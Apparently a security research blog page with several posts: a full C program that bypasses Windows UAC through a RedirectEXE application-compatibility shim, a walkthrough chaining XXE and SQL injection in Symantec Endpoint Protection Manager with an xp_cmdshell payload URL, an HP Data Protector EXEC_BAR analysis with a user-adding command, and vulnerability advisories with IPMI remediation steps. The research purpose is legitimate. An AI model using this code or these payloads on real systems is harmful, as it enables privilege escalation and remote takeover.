Tuesday, May 27, 2014

Shimming Your Way Past UAC

Using Application Compatibility Fixes To Bypass User Account Control

Chris Graham

An often-overlooked method that can be used by an attacker to gain elevated code execution is utilization of a framework that is provided by Microsoft to help legacy applications function on newer versions of Windows. That framework is known as the application compatibility toolkit. Unfortunately, in addition to allowing legacy applications to run on later versions of Windows, it can also allow malware to bypass UAC and gain elevated privileges without the user knowing. 

The application compatibility toolkit allows developers to apply "shims" to applications that can allow them to function on Windows versions from Vista onward. Since many new security features were introduced in Vista and 7, including user account control, some legacy applications that used to be run on XP and 2000 may have stopped functioning. In some cases the companies that supported these applications might have gone out of business or simply stopped providing support for them. In order to address these concerns, Microsoft introduced the capability to insert shims into these apps to allow them to continue functioning. 

Now, in order for malware to abuse the application compatibility toolkit, it can either generate a custom shim database on the fly at run time, or embed a shim database in the initial executable and extract it at run time. You will likely see dynamic generation of a custom shim database at run time, however. When I first read about the capabilities of the application compatibility toolkit, I was curious to see if I could create an application that utilized it to bypass UAC and gain elevated permissions. Unfortunately, MSDN is woefully lacking in documentation on how to use the API, though it does at least provide some required structures, data types, and function prototypes. So with this information, I set out to create my own custom shim database that could bypass UAC by using an application fix called "RedirectEXE". 

With the "RedirectEXE" shim, you can force Windows to load another executable when you launch the application that you created the shim for. The obvious goal here is to shim an application that has elevated privileges so that your code can run under this context with the same permissions. Thankfully, there are a number of Microsoft-signed Windows executables with "AutoElevate" permissions set. A cursory look through my Windows 7 test image showed the following candidates:

 Executables With Auto-Elevate Privileges  

Under the default settings for UAC in Windows 7, if you run any of these executables, you will not be presented with a UAC dialog box asking your permission to run them. Likewise, if you apply a shim to any of these and redirect execution to your own application, your application will not trigger a UAC dialog box either if it attempts to make changes to the system. So to demonstrate this, I picked printui.exe as it seemed innocuous enough to shim.

From a developer point of view, when you think about your end goal, you are going to be running an application on your target and you will need to be using functions exported in "apphelp.dll". I am not aware of any header files in Visual Studio or libraries that you can use which contain all the information you will need to build a custom shim database, so I decided to just dynamically load apphelp.dll at runtime and grab pointers to the functions I needed. As part of the process, I created the following header file called apphelp.h:

 // apphelp.h
 #define TAG_TYPE_LIST 28679  
 typedef enum _PATH_TYPE {   
 typedef HANDLE PDB;  
 typedef DWORD TAG;  
 typedef DWORD INDEXID;  
 typedef DWORD TAGID;  
 typedef struct tagATTRINFO {  
  TAG  tAttrID;  
  DWORD dwFlags;  
  union {  
   ULONGLONG ullAttr;  
   DWORD   dwAttr;  
   TCHAR   *lpAttr;  
 typedef PDB (WINAPI *SdbCreateDatabasePtr)(LPCWSTR, PATH_TYPE);  
 typedef VOID (WINAPI *SdbCloseDatabasePtr)(PDB);  
 typedef VOID (WINAPI *SdbCloseDatabaseWritePtr)(PDB);  
 typedef BOOL (WINAPI *SdbDeclareIndexPtr)(PDB, TAG, TAG, DWORD, BOOL, INDEXID *);  
 typedef BOOL (WINAPI *SdbCommitIndexesPtr)(PDB);  
 typedef TAGID (WINAPI *SdbBeginWriteListTagPtr)(PDB, TAG);  
 typedef BOOL (WINAPI *SdbEndWriteListTagPtr)(PDB, TAGID);  
 typedef BOOL (WINAPI *SdbWriteStringTagPtr)(PDB, TAG, LPCWSTR);  
 typedef BOOL (WINAPI *SdbWriteDWORDTagPtr)(PDB, TAG, DWORD);  
 typedef BOOL (WINAPI *SdbWriteBinaryTagPtr)(PDB, TAG, PBYTE, DWORD);  
 typedef BOOL (WINAPI *SdbStartIndexingPtr)(PDB, INDEXID);  
 typedef BOOL (WINAPI *SdbStopIndexingPtr)(PDB, INDEXID);  
 typedef struct _APPHELP_API {  
      SdbCreateDatabasePtr         SdbCreateDatabase;  
      SdbCloseDatabasePtr          SdbCloseDatabase;  
      SdbCloseDatabaseWritePtr     SdbCloseDatabaseWrite;  
      SdbDeclareIndexPtr           SdbDeclareIndex;  
      SdbCommitIndexesPtr          SdbCommitIndexes;  
      SdbBeginWriteListTagPtr      SdbBeginWriteListTag;  
      SdbEndWriteListTagPtr        SdbEndWriteListTag;  
      SdbWriteQWORDTagPtr          SdbWriteQWORDTag;  
      SdbWriteStringTagPtr         SdbWriteStringTag;  
      SdbWriteDWORDTagPtr          SdbWriteDWORDTag;  
      SdbWriteBinaryTagPtr         SdbWriteBinaryTag;  
      SdbStartIndexingPtr          SdbStartIndexing;  
      SdbStopIndexingPtr           SdbStopIndexing;  

The function pointers are based on information from MSDN and every function is required to generate the custom shim database. An important thing to note is that I based this off of API calls I observed being made by the Application Compatibility Toolkit. Since Microsoft does not provide any documentation on how to use this API, in situations like this you have to take matters in to your own hands.

Here is my corresponding C file that implements the custom shim database and loads it via calls to sdbinst.exe:

 // main.c
 #include "Windows.h"  
 #include "stdio.h"  
 #include "apphelp.h"  
 BOOL LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {  
      if(!(pAppHelp->SdbBeginWriteListTag =   
           (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, "SdbBeginWriteListTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbCloseDatabase =   
           (SdbCloseDatabasePtr)GetProcAddress(hAppHelp, "SdbCloseDatabase")))  
           return FALSE;  
      if(!(pAppHelp->SdbCloseDatabaseWrite =   
           (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, "SdbCloseDatabaseWrite")))  
           return FALSE;  
      if(!(pAppHelp->SdbCommitIndexes =   
           (SdbCommitIndexesPtr)GetProcAddress(hAppHelp, "SdbCommitIndexes")))  
           return FALSE;  
      if(!(pAppHelp->SdbCreateDatabase =   
           (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, "SdbCreateDatabase")))  
           return FALSE;  
      if(!(pAppHelp->SdbDeclareIndex =   
           (SdbDeclareIndexPtr)GetProcAddress(hAppHelp, "SdbDeclareIndex")))  
           return FALSE;  
      if(!(pAppHelp->SdbEndWriteListTag =   
           (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, "SdbEndWriteListTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbStartIndexing =   
           (SdbStartIndexingPtr)GetProcAddress(hAppHelp, "SdbStartIndexing")))  
           return FALSE;  
      if(!(pAppHelp->SdbStopIndexing =   
           (SdbStopIndexingPtr)GetProcAddress(hAppHelp, "SdbStopIndexing")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteBinaryTag =   
           (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, "SdbWriteBinaryTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteDWORDTag =   
           (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteDWORDTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteQWORDTag =   
           (SdbWriteQWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteQWORDTag")))  
           return FALSE;  
      if(!(pAppHelp->SdbWriteStringTag =   
           (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, "SdbWriteStringTag")))  
           return FALSE;  
      return TRUE;  
 int main(int argc, char *argv[]) {  
      HMODULE hAppHelp = LoadLibrary(L"apphelp.dll");  
      APPHELP_API api = {0};  
      INDEXID idx1, idx2, idx3, idx4, idx5, idx6, idx7, idx8, idx9;  
      TAGID tId1, tId2, tId3, tId4, tId5;  
      PDB db = NULL;  
      BYTE binBuff[] = {0x14, 0x7d, 0xe1, 0xd1, 0xbc, 0xca, 0x6f,   
           0x4f, 0x9f, 0x46, 0xc7, 0xec, 0xf8, 0x13, 0x64, 0x5e};  
      BYTE binBuff2[] = {0x13, 0x08, 0x37, 0x3a, 0x49, 0x21, 0x7d,   
           0x40, 0xb2, 0xcd, 0xee, 0x83, 0xdd, 0x35, 0x3d, 0x83};  
      WCHAR wszTempPath[MAX_PATH] = {0};  
      WCHAR wszUninstall[MAX_PATH] = {0};  
      SHELLEXECUTEINFO ShExec = {0};  
      ShExec.cbSize = sizeof(SHELLEXECUTEINFO);  
      ShExec.hwnd = NULL;  
      ShExec.lpVerb = L"open";  
      ShExec.lpDirectory = NULL;  
      ShExec.hInstApp = NULL;  
      if(!LoadAppHelpFunctions(hAppHelp, &api)) {  
           wprintf(L"[-]Failed to load apphelp api!\n");  
           return 1;  
      GetEnvironmentVariable(L"TEMP", wszTempPath, MAX_PATH);  
      wcscat_s(wszTempPath, MAX_PATH, L"\\mydb.sdb");  
      db = api.SdbCreateDatabase(wszTempPath, DOS_PATH);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 24577, 1, TRUE, &idx1);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 24587, 0, FALSE, &idx2);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 24608, 0, FALSE, &idx3);  
      api.SdbDeclareIndex(db, 28676, 24577, 0, FALSE, &idx4);  
      api.SdbDeclareIndex(db, 28685, 16405, 0, FALSE, &idx5);  
      api.SdbDeclareIndex(db, 28688, 24577, 0, TRUE, &idx6);  
      api.SdbDeclareIndex(db, 28690, 36870, 0, FALSE, &idx7);  
      api.SdbDeclareIndex(db, 28690, 36868, 0, TRUE, &idx8);  
      api.SdbDeclareIndex(db, TAG_TYPE_LIST, 36868, 1, FALSE, &idx9);  
      tId1 = api.SdbBeginWriteListTag(db, 28673);  
      api.SdbWriteQWORDTag(db, 20481, 2900865542);  
      api.SdbWriteStringTag(db, 24610, L""); // Version  
      api.SdbWriteStringTag(db, 24577, L"badsdb"); // Custom shim database info  
      api.SdbWriteDWORDTag(db, 16419, 1);  
      api.SdbWriteBinaryTag(db, 36871, binBuff, 16);  
      tId2 = api.SdbBeginWriteListTag(db, 28674);  
      api.SdbStartIndexing(db, idx4);  
      api.SdbStopIndexing(db, idx4);  
      api.SdbStartIndexing(db, idx6);  
      api.SdbStopIndexing(db, idx6);  
      api.SdbEndWriteListTag(db, tId2);  
      api.SdbStartIndexing(db, idx2);  
      api.SdbStopIndexing(db, idx2);  
      api.SdbStartIndexing(db, idx3);  
      api.SdbStopIndexing(db, idx3);  
      api.SdbStartIndexing(db, idx1);  
      api.SdbStartIndexing(db, idx9);  
      tId3 = api.SdbBeginWriteListTag(db, 28679);  
      api.SdbWriteStringTag(db, 24577, L"printui.exe"); // Executable to be shimmed  
      api.SdbWriteStringTag(db, 24582, L"printui32.exe"); // Shim name  
      api.SdbWriteStringTag(db, 24581, L"Microsoft"); // Vendor  
      api.SdbWriteBinaryTag(db, 36868, binBuff2, 16);  
      tId4 = api.SdbBeginWriteListTag(db, 28680);  
      api.SdbWriteStringTag(db, 24577, L"*");  
      api.SdbEndWriteListTag(db, tId4);  
      tId5 = api.SdbBeginWriteListTag(db, 28681);  
      api.SdbWriteStringTag(db, 24577, L"RedirectEXE"); // Fix type  
      api.SdbWriteStringTag(db, 24584, L"c:\\windows\\system32\\cmd.exe"); // Executable to redirect to  
      api.SdbEndWriteListTag(db, tId5);  
      api.SdbEndWriteListTag(db, tId3);  
      api.SdbStopIndexing(db, idx9);  
      api.SdbStopIndexing(db, idx1);  
      api.SdbStartIndexing(db, idx7);  
      api.SdbStartIndexing(db, idx8);  
      api.SdbStopIndexing(db, idx8);  
      api.SdbStopIndexing(db, idx7);  
      api.SdbStartIndexing(db, idx5);  
      api.SdbStopIndexing(db, idx5);  
      api.SdbEndWriteListTag(db, tId1);  
      ShExec.lpFile = L"sdbinst.exe";  
      ShExec.lpParameters = wszTempPath;  
      ShExec.nShow = SW_HIDE;  
      if(!ShellExecuteEx(&ShExec)) {  
           wprintf(L"[-]Failed to execute sdbinst.exe!\n");  
           return 1;  
      WaitForSingleObject(ShExec.hProcess, INFINITE);  
      ShExec.lpFile = L"printui.exe";  
      ShExec.lpParameters = NULL;  
      ShExec.nShow = SW_SHOWNORMAL;  
      if(!ShellExecuteEx(&ShExec)) {  
           wprintf(L"[-]Failed to execute shimmed printui.exe!\n");  
           return 1;  
      WaitForSingleObject(ShExec.hProcess, INFINITE);  
      wcscpy_s(wszUninstall, MAX_PATH, L"-u ");  
      wcscat_s(wszUninstall, MAX_PATH, wszTempPath);  
      ShExec.lpFile = L"sdbinst.exe";  
      ShExec.lpParameters = wszUninstall;  
      ShExec.nShow = SW_HIDE;  
      if(!ShellExecuteEx(&ShExec)) {  
           wprintf(L"[-]Failed to uninstall custom shim database!\n");  
           return 1;  
      WaitForSingleObject(ShExec.hProcess, INFINITE);  
      return 0;  

If you run this code, you will end up getting an elevated command prompt box with no UAC prompt, assuming you are running with the default UAC account settings. Obviously if you were using this for malicious purposes, you could redirect to your own dropped payload. When your payload is executed, it will have full permission to write data or execute applications that would normally require elevated rights. 

The major problem this highlights is that decreasing security settings is never a good solution to user complaints. So many people complained when UAC was rolled out, even though it was a fantastic security measure that if used properly, could stop most malware from doing anything really dangerous. As a result of the complaints, UAC by default is not set to always notify you when programs attempt to make changes or when you try to change settings. If it were set to "Always Notify", attempting to run an application like printui.exe would generate an alert and ask your permission to run. Furthermore, you would also be alerted by sdbinst.exe attempting to run and install the shim. 

Moral of the story-- even though having to constantly approve applications and changes to settings is annoying, it can really help keep you from inadvertently allowing malware to gain privileged access to your machine. 

Wednesday, March 26, 2014

Symantec Endpoint Protection Manager XXE/SQLi: From Disclosure To PoC

Finding CVE-2013-5014 and CVE-2013-5015

Chris Graham

Sometimes there is nothing more ironic than coming across critical vulnerabilities in the very security software designed to protect systems.  In these cases not only does the security software fail to prevent an intrusion; it actually becomes the vector that allows system compromise of an otherwise secure machine.  Several antivirus products have had these sorts of issues over the years and recently an important one surfaced in Symantec Endpoint Protection server.  So here's what we know from the initial advisory from Stefan Viehböck:

There are basically two bugs involved here. The first is an XML external entity injection bug, and the second is a SQL injection bug. At first glance, nothing seems too extraordinary here. The beauty in all of this is being able to leverage the two vulnerabilities in a single exploit that will allow you to run any command remotely.

To begin searching for the XXE, the first logical step is to think about how it would be triggered. Since exploiting an XXE relies on XML data being processed by a parser, the most obvious place to look would be somewhere that processes HTTP POST data. The advisory stated that the vulnerability existed in ConsoleServlet, so let's have a look there. Symantec stores all of the Tomcat jar files in "Program Files\Symantec\Symantec Endpoint Protection Manager\Tomcat\webapps\ROOT\WEB-INF\lib". ConsoleServlet is located in the scm-server.jar under com.sygate.scm.server.servlet.

Before  looking in ConsoleServlet, it can be helpful to get an idea of what sort of HTTP requests the Endpoint Protection Manager client sends to the web server. Unfortunately, the client will only communicate with the server over port 8443, which uses SSL. Thankfully, Symantec leaves a backup copy of the SSL private key in "Program Files\Symantec\Symantec Endpoint Protection Manager\ Server Private Key Backup". In previous versions you had to extract the key from a .jks file, but later versions leave the actual private key under the Apache folder in that directory. Once you have the key, you can fire up Wireshark and add the key so you can decrypt the HTTPS requests on port 8443. Be aware that you will need to modify the list of ciphers that Tomcat allows in the server.xml file. If not, the client will end up using Diffie Hellman with an ephemeral key and you won't be able to decrypt the SSL traffic. After Wireshark is set up, launch the client and log in to the interface.

When I was trying to find the XXE I specifically isolated requests to POST. After navigating through the client for a few minutes I had enough HTTP requests to start looking for some interesting data. The first thing you will notice in all of the HTTP requests is that they involve either POST or GET to "/servlet/ConsoleServlet?ActionType=". The ActionType parameter is  used to select a specific http handler for the request. For example, the first POST that caught my eye was to /servlet/ConsoleServlet?ActionType=ConsoleLog. If you take a look in the scm-server.jar file under com.sygate.scm.server.consolemanager, there is a RequestHandler class that is used to deal with what comes in via the ActionType parameter. If you decompile the RequestHandler.class file, under the public RequestHandler method you can see some initial checking is performed before the call to handleRequest():

      this.root.setattribute("ResponseCode", "302776354");  

SEPM typically responds to requests with an XML response that contains a ResponseCode. You will see several ResponseCodes being set throughout the RequestHandler and you can see them returned when you send a malformed or un-authenticated request to the ConsoleServlet:

 <?xml version="1.0" encoding="UTF-8"?>  
 <Response ResponseCode="285278215"/>  

If you take a look at the handleRequest method in the RequestHandler you can begin to understand how SEPM processes requests. Specifically, it makes sure the requestData that comes in is not null, that the actionType parameter was not null, and finally that the actionType is a valid one. If you pass all of these conditions, there are several opportunities for SEPM to handle your un-authenticated request before rejecting it completely due to lack of admin credentials. The four requests (at least on version 12.1) that you can send without auth are ResetPassword, Login, ConfigServer, and LicenseStatus. Each of these requests are handled by an associated handler class under com.sygate.scm.server.consolemanager.requesthandler.

My initial instinct was that I would find the XXE in one of these request handlers. Unfortunately, I quickly learned that you cannot send data to most of these without being authenticated. Nevertheless, it turned out that the ConfigServerHandler.class was where the SQL injection was, but we will get to that later.

After looking around in some of the request handlers, I ended up going back to inspect the ConsoleServlet.class file. This time I took a closer look at the following code:

 if ((str2 != null) && (str2.toLowerCase().startsWith("multipart/")))   
      localObject1 = new MultipartParser();     
      localObject2 = ((MultipartParser)localObject1).parse(paramHttpServletRequest);  
      localRequestData = new RequestData(paramHttpServletRequest, paramHttpServletResponse);     

So when a request comes in to the ConsoleServlet, it checks the content type and if it's a multipart message type, a custom MultipartParser is used to parse the message. The MultipartParser class is located in scm-server.jar under com.sygate.scm.server.util. If you decompile this class you will find the XXE issue in the parseBody method:

 Object localObject;   
           DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance();       
           localObject = localDocumentBuilderFactory.newDocumentBuilder();       
           Document localDocument = ((DocumentBuilder)localObject).parse(localInputStream);  
           paramHashtable.put(str1, localDocument);     
      catch (Exception localException) {}   

If the body of the multipart message contains a Content-Type set to text/xml, SEPM will use the javax.xml.parsers.DocumentBuilder class to parse the XML. By default, the XML parser will process declared DTDs within the XML request and you can then trigger the XXE.

So now that we know where the XXE vulnerability is, what to do with it? From my investigation, the XXE injection appeared to be blind. While there are a number of ways to still get data from a blind XXE, none of these attempts were successful in my tests. Instead, I decided to focus on the SQL injection in ConfigServerHandler.class.

ConfigServerHandler.class is located in the scm-server.jar file under com.sygate.scm.server.consolemanager.requesthandler. Upon decompiling this class, you will notice at the beginning of the handleRequest method there is this block of code (version 12.1):

 boolean bool = false;  
      bool = Utility.isLoopbackAddress(paramRequestData.getRemoteIP());  
 catch (UnknownHostException localUnknownHostException)  
 if (!bool) {  

This is designed to prevent any request that doesn't come from SEPM itself. Essentially, if the http request didn't come from localhost, ignore the request. Since we now have an XXE injection, we can use this vulnerability to send ConfigServer requests via Server-Side Request Forgery.

After sifting through ConfigServerHandler, I finally came upon a function called updateReportingVersion which accepts two strings as parameters. The second string it accepts is later used in the function to construct a SQL query:

 localDbHelper = DbHelper.getInstance();  
 localObject1 = localDbHelper.getConnection();  
 localStatement = ((Connection)localObject1).createStatement();  
 localObject2 = "select VALUE from GUIPARMS with (NOLOCK) where PARAMETER = '" + paramString2 + "'";  
 localResultSet = localStatement.executeQuery((String)localObject2);  

This is a pretty glaring vulnerability that also happens to be the textbook case of how SQL injection occurs and why you should never blindly place uncontrolled input into a SQL query. 

Now, as luck would have it, the embedded database that is used by SEPM is SQL Anywhere and SQL Anywhere is very much like MSSQL. You can chain queries together using a semi-colon as well as comment out the rest of a query with '--'. In addition, it has an xp_cmdshell stored procedure which lets you run native OS commands. From here it was easy to construct a URL that would trigger the SQL injection. If the request comes from localhost, you can use:

 GET /servlet/ConsoleServlet?ActionType=ConfigServer&action=test_av&SequenceNum=140320121&Parameter=a'; call xp_cmdshell('<cmd here>');--  

The action "test_av" is what allows you to hit the updateReportingVersion function as seen here:

So there you have it. Without the SQL injection, the XXE appears to be of limited use. Without the XXE, you can't trigger the SQL injection. That's what made this such a good discovery.

Monday, February 24, 2014

Fun With HP Data Protector EXEC_BAR Remote Command Execution

Deep Dive Analysis Of CVE-2013-2347

Chris Graham

One of the benefits our clients have when using our vulnerability scanner is that many of the vulnerability checks we write are non-authenticated. This means that we do not require credentials to authenticate to hosts over the network in order to check for vulnerabilities. Instead, our team of researchers frequently reverse engineers software to identify unique methods of remotely detecting both newly-reported and undisclosed vulnerabilities. Since we essentially exploit the vulnerability to determine if a host is susceptible to a particular flaw, this provides our clients with an added benefit of reduced false positives and a clearer view of what an attacker would see on their network.

Since many of the vulnerabilities we see these days are either web-centric or client-side, it's very exciting when we find any sort of server-side remote arbitrary command execution vulnerability. When I saw that HP Data Protector had several new vulnerabilities reported early this year, I jumped at the opportunity to write a test for the EXEC_BAR remote command execution flaw. 

To be fair, Data Protector has had a large number of similar vulnerabilities discovered and reported over the years so this new one is not exactly ground breaking. Most of the disclosed issues exist in version 6.10, 6.11, and 6.20. Even though Data Protector is now on version 7 and 8, a lot of people surprisingly still run the older version. Although our scanning engine already discovers and reports on the other vulnerabilities in Data Protector, this newly disclosed EXEC_BAR flaw has great potential for pen-testers since it provides an easy way to compromise a server.. 

So let's get to the technical details...

HP Data Protector utilizes an agent called omniinet.exe, which runs as a SYSTEM level service on Windows systems. When setting up Data Protector, you can designate a server as a cell manager which can then communicate with the remote agent that would be installed on any other servers that you want to perform backup operations on. These servers that are running the agent would then be part of a cell. 

The cell manager communicates with the agent using a custom packet structure that will be discussed below. Here is a sample hexdump of a typical packet:

 0000  00 00 00 64 ff fe 32 00 00 00 20 00 68 00 70 00 ...d..2... .h.p.  
 0010  64 00 70 00 31 00 00 00 20 00 30 00 00 00 20 00 d.p.1... .0... .  
 0020  53 00 59 00 53 00 54 00 45 00 4d 00 00 00 20 00 S.Y.S.T.E.M... .  
 0030  4e 00 54 00 20 00 41 00 55 00 54 00 48 00 4f 00 N.T. .A.U.T.H.O.  
 0040  52 00 49 00 54 00 59 00 00 00 20 00 45 00 4e 00 R.I.T.Y... .E.N.  
 0050  55 00 00 00 20 00 30 00 00 00 20 00 49 00 4e 00 U... .0... .I.N.  
 0060  46 00 4f 00 00 00 00 00                         F.O.....  

The first 4 bytes of the packet indicate the total length of the packet minus that header. In this case, the packet length is 0x64 or 100 bytes. Following the packet length header, there is a Unicode byte order marker 0xFFFE indicating the endianness that will be used in the packet.

From an exploitation standpoint, there are two important points to remember when sending these packets: 

  • The first is that every field is Unicode. 
  • The second is that you separate packet arguments by essentially using a "space" character (0x20 hex). 
With that in mind, you can begin to see a pattern in the above packet. If you look at the argument immediately following the string "ENU", you can see this is a hex representation of the ASCII character 0. This single Unicode value is the opcode of the packet (\x30\x00\x00\x00). Immediately after the opcode, you see a string that identifies the type of packet this is. In our case, it is an INFO packet. Armed with this knowledge, it is possible to begin figuring out what the agent does with these packets. 

The specific vulnerability that I was interested in was the remote command execution flaw that was reportedly triggerable via a malicious EXEC_BAR packet. This was disclosed via HP Tipping Point's Zero Day Initiative by Aniway.Anyway@gmail.com. 

Here is the flow of omniinet from the application entry point to the function that eventually processes the opcode:

When omniinet receives a packet from the cell manager, it will eventually end up in the ProcessConnect function where it will grab the opcode in the packet and perform a lookup to determine what operation is being requested. Since the opcode being sent in the packet is a Unicode string, it must be converted to an integer:

The function, which I renamed to LookupOpcode, accepts an opcode as a parameter and returns a pointer to a record in a data structure. This data structure contains multiple records with each entry being twelve bytes and containing an opcode, a function pointer, and a pointer to a Unicode string indicating the type of operation. 

Each entry might be represented by a structure that looks something like this:
 typedef struct OPENTRY {  
       DWORD dwOpcode;  
       VOID __cdecl * lpOpHandlerFunc;  
       LPWSTR pwszOpType;  
 } OpEntry, *pOpEntry;  

In the code you can see how omniinet searches the table and compares the opcode received in the packet to each entry's opcode until it finds one that matches or does not:

After the lookup is complete, in the ProcessConnect function, omniinet will call the function pointer in the OpEntry struct for the associated opcode:

This EXEC_BAR function handler is where the vulnerability lies. If we take a look at the beginning of the EXEC_BAR handler function, you can see that a comparison is done on the number of packet arguments to determine if it is greater than eighteen. If it is not, you get an error:

Assuming you sent a packet with the correct number of arguments, omniinet will take the eighteenth and nineteenth argument, allocate string buffers for them in memory and pass them along in a structure that can be accessed by a function in a new thread. The problem here is that no checking is ever done to ensure that the command being used as the executable to launch is within the scope of what the application intended. As a result, sending a string like 'c:\windows\system32\cmd.exe' will result in omniinet calling cmd.exe. In addition, because this function is actually designed to launch an executable that accepts command line arguments, anything after the eighteenth string in the packet can be conveniently used as a command line argument for cmd.exe.

So to sum things up, once I figured out where in the assembly that omniinet was processing my packets, it was trivial to build one that would trigger this vulnerability. If you were to follow the rest of the ExecBarFunc, you would see that it literally passes on the two strings mentioned above to a new thread which ultimately calls CreateProcessW with the two arguments combined as the lpCommandLine parameter such that you could end up with: “’c:\windows\system32\cmd.exe’ ‘/c net user usr p@ss!23 /add’”.  This would cause omniinet to create a new windows user called ‘usr’ with a password of ‘p@ss!23’. 

Monday, November 18, 2013

LenovoEMC StorageCenter PX4-300R Unauthorized Remote File Retrieval

DDIVRT-2013-55 LenovoEMC StorageCenter PX4-300R Unauthorized Remote File Retrieval

Follow us on Twitter!

Date Discovered
October 10, 2013

Discovered By
Digital Defense, Inc. Vulnerability Research Team
Credit: Evan Sylvester and r@b13$

Vulnerability Description
The web server for the LenovoEMC StorageCenter PX4-300R allows unauthenticated remote users to retrieve specific files that are located outside of the web root. Malicious users would need to have direct knowledge of the directory structure to exploit this vulnerability. 

Solution Description
LenovoEMC has addressed this vulnerability and released an updated version of the firmware for this device. Please refer to the following page for specific instructions on how to obtain and apply the update:

Tested Systems / Software (with versions)
LenovoEMC StorageCenter PX4-300R v4.0.4.146
BIOS: px4 fsbfv102

Vendor Contact

Tuesday, July 2, 2013

The Backdoor on the Side of Your Server

A note to our readers....

The following is a blog post our organization was withholding while privately warning companies about a set of critical IPMI vulnerabilities in their rack mount hardware and the threat they posed to their security posture.  Some of the content was covered in a B-Sides San Antonio talk two months ago by one of our researchers.

Today the full-scope of this threat was published online in WIRED and as such we felt it appropriate to release our findings as well.

The Backdoor on the Side of Your Server

A couple months ago,  I was reading the Intel IPMI 2.0 specification while writing a set of checks for IPMI and RMCP flaws into our vulnerability assessment engine.  One of the things that stood out at me was a correction indicating that there is a no-auth access mode built into the IPMI 2.0 protocol.  You can see 'straight-password' replaced with a clarification of 'no-password' for Cipher Suite 0:

Intel IPMI 2.0 specification 

Googling around the Internet, the only person that I saw raising any awareness of this issue was Dan Farmer (who specifically blogs on IPMI issues).  His post on it can be found here.

So now you're probably thinking..."Ok, this thing is in the specification, there seems to be some rack mount servers affected by it, how big a problem are we talking about here?"

Lets put it this way...  I bought what I believed were two of the most common rack mount servers from one of the world's largest hardware vendors last month.  Then I enabled the management interface and attempted to authenticate over the network with cipher zero...

Both rackmounts were vulnerable to the authentication bypass.

Then I checked some more models from other vendors... same thing.  Did some more investigations on other hardware, more of the same.  The more systems I checked, the more I found that were vulnerable to the same network accessible auth-bypass, all with admin level privileges on the rack mount baseboard.

Keep in mind this is a network accessible baseboard flaw, which means that it doesn't target the primary operating system but the embedded management agent running on the server.  Traditional mitigations such as firewalling all ports on the primary operating system or even shutting down the server completely, won't prevent network traffic from hitting this vector (the baseboard stays on even if the rest of the system is shutdown, so long as the power cord is plugged in).  It's also worth pointing out that on many of these servers, the baseboard interface shares a network jack with eth0 so simply 'not plugging it in' isn't an option.

This isn't a problem for one vendor, or one server, or something that happened long ago in the past.  Rack mounts have been shipping with this flaw for years and continue to do so today.  If you haven't encountered it while performing network scans on large rack mount deployments, it's not that it isn't there, it's that your scanning vendor isn't checking for it.  Given the severity of the issue it's something you might want to bring to their attention.

So to summarize:

"Are you telling me that there is an extremely common, hidden, no-auth network-based attack vector on major vendor rack mount servers that can silently allow attackers to bypass primary operating system defenses, hijack a baseboard interface even when the power is off, and then leverage that access all the way up to primary-operating system control?"

Yes.  That's exactly what I'm telling you.


Remediation Information:

I haven't seen any methods posted anywhere for fixing the cipher zero flaw locally through Windows, so here's the method.  This worked on all the major vendor rack mount hardware I've tested it on, but standard disclaimers apply (check with your vendor etc.).

Windows Instructions:

1) Download ipmutil for win32: http://ipmiutil.sourceforge.net/FILES/
2) Extract the zip file and then run the following commands from the zip directory:

> ipmiutil lan  (display lan info)

verify the lines:
Lan Param(23) Cipher Suites:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14
Lan Param(24) Cipher Suites:  A  A  A  A  A  A  A  A  A  A  A  A  A  A  A

> ipmiutil cmd 00 20 30 01 01 18 00 40 44 44 44 44 44 44 04
> ipmiutil lan 

verify the lines now read:

Lan Param(23) Cipher Suites:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14
Lan Param(24) Cipher Suites:  R  A  A  A  A  A  A  A  A  A  A  A  A  A  A

Linux Instructions:

1) Install ipmitool from your linux distribution package manager:

> apt-get install ipmitool  (debian/ubuntu)

2) Restrict cipher suite 0 on the baseboard lan interface.

> ipmitool lan set 1 cipher_privs Xaaaaaaaaaaaaaa

The above instructions work on systems regardless of architecture (64bit,32bit,Intel,AMD,etc.).

Thursday, May 9, 2013

DDIVRT-2013-53 Actuate 'ActuateJavaComponent' Multiple Vulnerabilities

Follow us on Twitter!


Date Discovered
March 19, 2013

Discovered By
Digital Defense, Inc. Vulnerability Research Team
Credit: Dennis Lavrinenko, Bobby Lockett, and r@b13$

1. Actuate 'ActuateJavaComponent' Arbitrary File Retrieval

Vulnerability Description
Actuate 10 contains a vulnerability within the 'ActuateJavaComponent'. This component allows unauthenticated attackers to retrieve arbitrary system files located outside of the web root.

Solution Description
A solution for this security issue is not available at this time. End-users can mitigate this flaw by limiting access to affected systems through the use of access controls.

2. Actuate 'ActuateJavaComponent' Arbitrary Directory Browsing Vulnerability

Vulnerability Description
Actuate 10 contains an arbitrary directory browsing vulnerability within the 'ActuateJavaComponent'. This vulnerability allows the contents of any drive or directory to be browsed within the web application's interface.

Solution Description
A solution for this security issue is not available at this time. End-users can mitigate this flaw by limiting access to affected systems through the use of access controls.

Tested Systems / Software
Actuate 10 Service Pack 1 Fix 4

Vendor Contact
Vendor Name: Actuate Corporation
Vendor Website: http://www.actuate.com/home/

Monday, April 15, 2013

DDIVRT-2013-52 Dell EqualLogic PS6110X Directory Traversal

Follow us on Twitter!

DDIVRT-2013-52 Dell EqualLogic PS6110X Directory Traversal


Date Discovered
February 19, 2013

Discovered By
Digital Defense, Inc. Vulnerability Research Team
Credit: Evan Sylvester and r@b13$

